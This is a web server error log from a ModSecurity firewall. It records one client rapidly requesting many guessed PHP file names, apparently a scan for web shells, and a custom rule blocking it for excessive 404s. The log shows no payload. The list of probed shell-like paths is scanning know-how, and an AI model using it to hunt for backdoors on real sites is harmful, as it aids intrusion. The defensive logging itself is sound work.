[Tue Jan 06 00:37:04.972061 2026] [:error] [pid 60605:tid 60623] [client 4.190.212.213:15932] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/TPR9lLbsVBS.php"] [unique_id "aVvosJGdDsTlcaRtgxQ6-AAAARA"]
[Tue Jan 06 00:37:05.312760 2026] [:error] [pid 60509:tid 60541] [client 4.190.212.213:63133] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api137.php"] [unique_id "aVvosaBSiT1_wVwKSvQcLwAAAFQ"]
[Tue Jan 06 00:37:05.667261 2026] [:error] [pid 60509:tid 60538] [client 4.190.212.213:55383] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api137.php"] [unique_id "aVvosaBSiT1_wVwKSvQcMgAAAFE"]
[Tue Jan 06 00:37:06.058189 2026] [:error] [pid 60605:tid 60613] [client 4.190.212.213:24406] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api137.php"] [unique_id "aVvospGdDsTlcaRtgxQ6_AAAAQY"]
[Tue Jan 06 00:37:06.512362 2026] [:error] [pid 60509:tid 60537] [client 4.190.212.213:55412] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api137.php"] [unique_id "aVvosqBSiT1_wVwKSvQcNwAAAFA"]
[Tue Jan 06 00:37:07.017906 2026] [:error] [pid 60514:tid 60580] [client 4.190.212.213:63106] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib068.php"] [unique_id "aVvos270C0kefOIBEs9VRgAAAMU"]
[Tue Jan 06 00:37:07.403332 2026] [:error] [pid 29187:tid 29196] [client 4.190.212.213:15909] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib068.php"] [unique_id "aVvos4SYYRtfmMXGZCqCggAAAAc"]
[Tue Jan 06 00:37:07.708614 2026] [:error] [pid 29187:tid 29194] [client 4.190.212.213:55361] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib068.php"] [unique_id "aVvos4SYYRtfmMXGZCqChQAAAAU"]
[Tue Jan 06 00:37:08.000381 2026] [:error] [pid 60605:tid 60607] [client 4.190.212.213:24447] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib068.php"] [unique_id "aVvos5GdDsTlcaRtgxQ7CAAAAQA"]
[Tue Jan 06 00:37:08.389798 2026] [:error] [pid 60605:tid 60608] [client 4.190.212.213:24395] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aVvotJGdDsTlcaRtgxQ7CwAAAQE"]
[Tue Jan 06 00:37:08.678929 2026] [:error] [pid 60509:tid 60526] [client 4.190.212.213:15887] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aVvotKBSiT1_wVwKSvQcPgAAAEU"]
[Tue Jan 06 00:37:09.102117 2026] [:error] [pid 60605:tid 60612] [client 4.190.212.213:63151] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aVvotZGdDsTlcaRtgxQ7DwAAAQU"]
[Tue Jan 06 00:37:09.575032 2026] [:error] [pid 29187:tid 29194] [client 4.190.212.213:15925] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aVvotYSYYRtfmMXGZCqCkAAAAAU"]
[Tue Jan 06 00:37:10.117806 2026] [:error] [pid 29187:tid 29190] [client 4.190.212.213:56066] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asus.php"] [unique_id "aVvotoSYYRtfmMXGZCqClAAAAAE"]
[Tue Jan 06 00:37:11.183514 2026] [:error] [pid 60514:tid 60593] [client 4.190.212.213:15881] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asus.php"] [unique_id "aVvot270C0kefOIBEs9VWwAAANI"]
[Tue Jan 06 00:37:11.755468 2026] [:error] [pid 60509:tid 60533] [client 4.190.212.213:56116] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asus.php"] [unique_id "aVvot6BSiT1_wVwKSvQcRgAAAEw"]
[Tue Jan 06 00:37:12.305406 2026] [:error] [pid 60514:tid 60596] [client 4.190.212.213:63123] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asus.php"] [unique_id "aVvouG70C0kefOIBEs9VZAAAANU"]
[Tue Jan 06 00:37:12.777299 2026] [:error] [pid 60510:tid 60565] [client 4.190.212.213:15895] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index685.php"] [unique_id "aVvouG3HNEkuMRrTL0IDoQAAAJE"]
[Tue Jan 06 00:37:13.361932 2026] [:error] [pid 60509:tid 60531] [client 4.190.212.213:63121] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index685.php"] [unique_id "aVvouaBSiT1_wVwKSvQcSwAAAEo"]
[Tue Jan 06 00:37:14.067291 2026] [:error] [pid 29187:tid 29192] [client 4.190.212.213:24427] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index685.php"] [unique_id "aVvouoSYYRtfmMXGZCqCqQAAAAM"]
[Tue Jan 06 00:37:14.725083 2026] [:error] [pid 60514:tid 60597] [client 4.190.212.213:56118] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index685.php"] [unique_id "aVvoum70C0kefOIBEs9VbgAAANY"]
[Tue Jan 06 00:37:15.486992 2026] [:error] [pid 60605:tid 60610] [client 4.190.212.213:55365] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rest-api.php"] [unique_id "aVvou5GdDsTlcaRtgxQ7PAAAAQM"]
[Tue Jan 06 00:37:15.972255 2026] [:error] [pid 60509:tid 60540] [client 4.190.212.213:15921] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rest-api.php"] [unique_id "aVvou6BSiT1_wVwKSvQcXAAAAFM"]
[Tue Jan 06 00:37:16.633357 2026] [:error] [pid 60605:tid 60621] [client 4.190.212.213:63162] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rest-api.php"] [unique_id "aVvovJGdDsTlcaRtgxQ7RAAAAQ4"]
[Tue Jan 06 00:37:17.310677 2026] [:error] [pid 60605:tid 60628] [client 4.190.212.213:56092] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rest-api.php"] [unique_id "aVvovZGdDsTlcaRtgxQ7SAAAARU"]
[Tue Jan 06 00:37:18.037136 2026] [:error] [pid 60514:tid 60581] [client 4.190.212.213:63147] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/feed.php"] [unique_id "aVvovm70C0kefOIBEs9VfgAAAMY"]
[Tue Jan 06 00:37:19.369439 2026] [:error] [pid 60510:tid 60572] [client 4.190.212.213:24418] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/feed.php"] [unique_id "aVvov23HNEkuMRrTL0IDsQAAAJg"]
[Tue Jan 06 00:37:20.082265 2026] [:error] [pid 60510:tid 60559] [client 4.190.212.213:15875] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/feed.php"] [unique_id "aVvowG3HNEkuMRrTL0IDtwAAAIs"]
[Tue Jan 06 00:37:21.086443 2026] [:error] [pid 60514:tid 60583] [client 4.190.212.213:56119] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/feed.php"] [unique_id "aVvowW70C0kefOIBEs9VhgAAAMg"]
[Tue Jan 06 00:37:22.122932 2026] [proxy_fcgi:error] [pid 60605:tid 60615] [client 4.190.212.213:63166] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:37:22.247892 2026] [proxy_fcgi:error] [pid 60605:tid 60630] [client 4.190.212.213:63166] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:37:22.372290 2026] [proxy_fcgi:error] [pid 60605:tid 60610] [client 4.190.212.213:63166] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:37:22.496618 2026] [proxy_fcgi:error] [pid 60605:tid 60626] [client 4.190.212.213:63166] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:37:22.667326 2026] [proxy_fcgi:error] [pid 60605:tid 60613] [client 4.190.212.213:63166] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:37:22.797993 2026] [proxy_fcgi:error] [pid 60605:tid 60624] [client 4.190.212.213:63166] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:37:22.922006 2026] [proxy_fcgi:error] [pid 60605:tid 60611] [client 4.190.212.213:63166] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:37:23.050018 2026] [proxy_fcgi:error] [pid 60605:tid 60620] [client 4.190.212.213:63166] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:37:23.420402 2026] [proxy_fcgi:error] [pid 60605:tid 60607] [client 4.190.212.213:63166] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:37:23.544368 2026] [proxy_fcgi:error] [pid 60605:tid 60627] [client 4.190.212.213:63166] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:37:23.667962 2026] [proxy_fcgi:error] [pid 60605:tid 60616] [client 4.190.212.213:63166] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:37:23.788046 2026] [:error] [pid 60605:tid 60614] [client 4.190.212.213:63166] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache795.php"] [unique_id "aVvow5GdDsTlcaRtgxQ7bwAAAQc"]
[Tue Jan 06 00:37:25.231357 2026] [:error] [pid 29187:tid 29191] [client 4.190.212.213:24440] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache795.php"] [unique_id "aVvoxYSYYRtfmMXGZCqC2QAAAAI"]
[Tue Jan 06 00:37:26.469556 2026] [:error] [pid 60514:tid 60591] [client 4.190.212.213:63155] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache795.php"] [unique_id "aVvoxm70C0kefOIBEs9VkgAAANA"]
[Tue Jan 06 00:37:27.096748 2026] [:error] [pid 60510:tid 60557] [client 4.190.212.213:63108] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache795.php"] [unique_id "aVvox23HNEkuMRrTL0ID1gAAAIk"]
[Tue Jan 06 00:37:27.736762 2026] [:error] [pid 60510:tid 60569] [client 4.190.212.213:63129] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index282.php"] [unique_id "aVvox23HNEkuMRrTL0ID2gAAAJU"]
[Tue Jan 06 00:37:28.627089 2026] [:error] [pid 29187:tid 29195] [client 4.190.212.213:24429] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index282.php"] [unique_id "aVvoyISYYRtfmMXGZCqC6AAAAAY"]
[Tue Jan 06 00:37:29.474730 2026] [:error] [pid 29187:tid 29201] [client 4.190.212.213:15876] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index282.php"] [unique_id "aVvoyYSYYRtfmMXGZCqC6gAAAAw"]
[Tue Jan 06 00:37:31.773896 2026] [:error] [pid 29187:tid 29199] [client 4.190.212.213:63131] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index282.php"] [unique_id "aVvoy4SYYRtfmMXGZCqC_gAAAAo"]
[Tue Jan 06 00:37:32.333981 2026] [:error] [pid 60605:tid 60618] [client 4.190.212.213:63126] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api986.php"] [unique_id "aVvozJGdDsTlcaRtgxQ7kQAAAQs"]
[Tue Jan 06 00:37:32.935813 2026] [:error] [pid 60510:tid 60557] [client 4.190.212.213:63138] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api986.php"] [unique_id "aVvozG3HNEkuMRrTL0IEAAAAAIk"]
[Tue Jan 06 00:37:33.259756 2026] [:error] [pid 60514:tid 60576] [client 4.190.212.213:15928] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api986.php"] [unique_id "aVvozW70C0kefOIBEs9VmgAAAME"]
[Tue Jan 06 00:37:33.738876 2026] [:error] [pid 29187:tid 29189] [client 4.190.212.213:15912] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api986.php"] [unique_id "aVvozYSYYRtfmMXGZCqDBwAAAAA"]
[Tue Jan 06 00:37:34.207751 2026] [:error] [pid 29187:tid 29201] [client 4.190.212.213:24435] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nav-menu.php"] [unique_id "aVvozoSYYRtfmMXGZCqDCgAAAAw"]
[Tue Jan 06 00:37:35.398467 2026] [:error] [pid 60509:tid 60531] [client 4.190.212.213:63160] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nav-menu.php"] [unique_id "aVvoz6BSiT1_wVwKSvQcmgAAAEo"]
[Tue Jan 06 00:37:37.050518 2026] [:error] [pid 60509:tid 60528] [client 4.190.212.213:63159] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nav-menu.php"] [unique_id "aVvo0aBSiT1_wVwKSvQcrQAAAEc"]
[Tue Jan 06 00:37:37.820249 2026] [:error] [pid 60514:tid 60588] [client 4.190.212.213:56076] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nav-menu.php"] [unique_id "aVvo0W70C0kefOIBEs9VpwAAAM0"]
[Tue Jan 06 00:37:38.378033 2026] [:error] [pid 60510:tid 60553] [client 4.190.212.213:63116] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/out.php"] [unique_id "aVvo0m3HNEkuMRrTL0IEGAAAAIU"]
[Tue Jan 06 00:37:39.386143 2026] [:error] [pid 60514:tid 60593] [client 4.190.212.213:55362] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/out.php"] [unique_id "aVvo0270C0kefOIBEs9VrAAAANI"]
[Tue Jan 06 00:37:40.293788 2026] [:error] [pid 60514:tid 60596] [client 4.190.212.213:56073] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/out.php"] [unique_id "aVvo1G70C0kefOIBEs9VrwAAANU"]
[Tue Jan 06 00:37:41.262778 2026] [:error] [pid 60514:tid 60592] [client 4.190.212.213:56110] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/out.php"] [unique_id "aVvo1W70C0kefOIBEs9VtAAAANE"]
[Tue Jan 06 00:37:42.522107 2026] [:error] [pid 60605:tid 60621] [client 4.190.212.213:24387] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aVvo1pGdDsTlcaRtgxQ7swAAAQ4"]
[Tue Jan 06 00:37:43.347536 2026] [:error] [pid 60509:tid 60523] [client 4.190.212.213:55379] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aVvo16BSiT1_wVwKSvQc0AAAAEI"]
[Tue Jan 06 00:37:43.793228 2026] [:error] [pid 60509:tid 60537] [client 4.190.212.213:63144] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aVvo16BSiT1_wVwKSvQc0wAAAFA"]
[Tue Jan 06 00:37:44.250731 2026] [:error] [pid 60510:tid 60551] [client 4.190.212.213:24404] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aVvo2G3HNEkuMRrTL0IEMQAAAIM"]
